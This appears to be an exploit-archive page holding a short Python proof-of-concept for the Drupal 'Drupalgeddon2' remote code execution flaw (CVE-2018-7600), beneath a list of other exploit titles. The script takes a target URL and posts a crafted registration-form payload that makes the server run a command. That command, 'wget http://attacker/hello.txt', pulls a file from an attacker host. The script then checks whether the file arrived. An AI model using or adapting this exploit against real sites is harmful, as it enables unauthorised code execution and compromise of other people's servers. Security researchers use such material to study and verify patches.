bef325a736
9 changes to exploits/shellcodes GNU Beep 1.3 - 'HoleyBeep' Local Privilege Escalation Microsoft Credential Security Support Provider - Remote Code Execution WordPress Plugin Shopping Cart 3.0.4 - Unrestricted Arbitrary File Upload Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) MikroTik 6.41.4 - FTP daemon Denial of Service PoC Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
21 lines
No EOL
967 B
Python
Executable file
21 lines
No EOL
967 B
Python
Executable file
#!/usr/bin/env
|
|
import sys
|
|
import requests
|
|
|
|
print ('################################################################')
|
|
print ('# Proof-Of-Concept for CVE-2018-7600')
|
|
print ('# by Vitalii Rudnykh')
|
|
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
|
|
print ('# https://github.com/a2u/CVE-2018-7600')
|
|
print ('################################################################')
|
|
print ('Provided only for educational or information purposes\n')
|
|
|
|
target = raw_input('Enter target url (example: https://domain.ltd/): ')
|
|
|
|
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
|
|
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'wget http://attacker/hello.txt'}
|
|
|
|
r = requests.post(url, data=payload)
|
|
if r.status_code != 200:
|
|
sys.exit("Not exploitable")
|
|
print ('\nCheck: '+target+'hello.txt') |